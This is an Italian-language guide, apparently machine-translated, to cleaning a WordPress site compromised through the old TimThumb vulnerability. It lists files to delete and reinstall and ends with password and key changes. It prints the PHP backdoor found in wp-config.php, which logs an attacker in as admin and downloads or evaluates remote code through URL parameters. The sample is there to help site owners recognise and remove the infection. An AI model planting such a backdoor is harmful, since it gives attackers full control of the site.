Come risolvere e ripulire l'Hack TimThumb in WordPress
Quindi, se ricordi correttamente, in agosto c'era stato un problema di sicurezza con lo script TimThumb che è stato corretto. Tuttavia, con nostra sorpresa, molti siti stanno ancora utilizzando la vecchia versione. Abbiamo fissato tre siti finora nel mese scorso, uno è stato ieri. Quindi ha senso scrivere semplicemente un articolo passo dopo passo, in modo che i nostri utenti possano seguirlo. Tutti e tre gli utenti che abbiamo risolto questo problema non sapevano nemmeno cosa fosse TimThumb o se lo stessero usando o meno.
TimThumb è uno script PHP che ridimensiona le immagini. C'era una vulnerabilità in esso, ma è SICURO da usare ora.
Quindi, come fai a sapere che il tuo sito è violato? Se vedi una grande schermata rossa sul tuo browser quando visiti il tuo sito:
Se inizi a essere bombardato da e-mail sugli utenti che vengono reindirizzati dal tuo sito. Molto probabilmente, il caso è che il tuo sito è stato vittima di questo exploit.
Come misura cautelativa, tutti dovrebbero usare questo scanner di vulnerabilità Timthumb. Questo ti dirà se stai usando la versione precedente di TimThumb. Molti club tematici hanno aggiornato subito il loro nucleo. Quindi questo plugin controllerà se è installata la nuova versione sicura di Timthumb o se è installata una versione precedente.
Ora se il tuo sito è già diventato preda di questo exploit Timthumb, allora ecco cosa devi fare.
Per prima cosa devi eliminare i seguenti file:
/wp-admin/upd.php /wp-content/upd.php
Accedi al pannello di amministrazione di WordPress e reinstalla la tua versione di WordPress. Stiamo specificamente cercando di reinstallare questi file:
/wp-settings.php /wp-includes/js/jquery/jquery.js /wp-includes/js/110n.js
Quindi apri il tuo wp-config.php dove molto probabilmente troverai questo grande codice malware che sta raccogliendo credenziali e cookie di accesso. Questo codice sarà verso il basso.
if (isset ($ _ GET ['pingnow']) && isset ($ _ GET ['pass'])) if ($ _GET ['pass'] == '19ca14e7ea6328a42e0eb13d585e4c22') if ($ _GET ['pingnow'] == 'login') $ user_login = 'admin'; $ user = get_userdatabylogin ($ user_login); $ user_id = $ user-> ID; wp_set_current_user ($ user_id, $ user_login); wp_set_auth_cookie ($ user_id); do_action ('wp_login', $ user_login); if (($ _GET ['pingnow'] == 'exec') && (isset ($ _ GET ['file']))) $ ch = curl_init ($ _ GET ['file']); $ fnm = md5 (rand (0,100)). '. php'; $ fp = fopen ($ fnm, "w"); curl_setopt ($ ch, CURLOPT_FILE, $ fp); curl_setopt ($ ch, CURLOPT_HEADER, 0); curl_setopt ($ ch, CURLOPT_TIMEOUT, 5); curl_exec ($ ch); curl_close ($ ch); fclose ($ fp); echo "location.href = '$ fnm';"; if (($ _GET ['pingnow'] == 'eval') && (isset ($ _ GET ['file']))) $ ch = curl_init ($ _ GET ['file']); curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ ch, CURLOPT_HEADER, 0); curl_setopt ($ ch, CURLOPT_TIMEOUT, 5); $ re = curl_exec ($ ch); curl_close ($ ch); eval ($ ri);
Nella cartella del tuo tema, cerca ovunque lo script TimThumb stia memorizzando i file memorizzati nella cache. Di solito sono in questa struttura:
/wp-content/themes/themename/scripts/cache/external_MD5Hash.php /wp-content/themes/themename/temp/cache/external_MD5Hash.php
Elimina tutto ciò che assomiglia a questo. Se non sei sicuro delle cose, elimina tutto ciò che non è un file immagine.
La prossima cosa che vuoi fare è sostituire timthumb.php con l'ultima versione che può essere trovata su http://timthumb.googlecode.com/svn/trunk/timthumb.php
Ora sarebbe una buona idea cambiare le tue password iniziando con le tue informazioni di accesso MySQL ai tuoi dati di accesso a WordPress. Non dimenticare di cambiare la password per MySQL in wp-config.php o riceverai la schermata "Errore che stabilisce la connessione".
Cambia le chiavi segrete nel tuo file wp-config.php. È possibile generare una nuova chiave andando al generatore online.
Ora hai finito. Non dimenticare di svuotare tutti i plug-in di memorizzazione nella cache delle pagine. Come misura cautelativa, è bene cancellare anche la cache e i cookie del browser.
Per gli sviluppatori, prova a utilizzare la funzionalità Dimensioni immagine aggiuntive in WordPress per sostituire le funzionalità Timthumb.
Facci sapere se hai bisogno di ulteriore assistenza utilizzando il nostro modulo di contatto.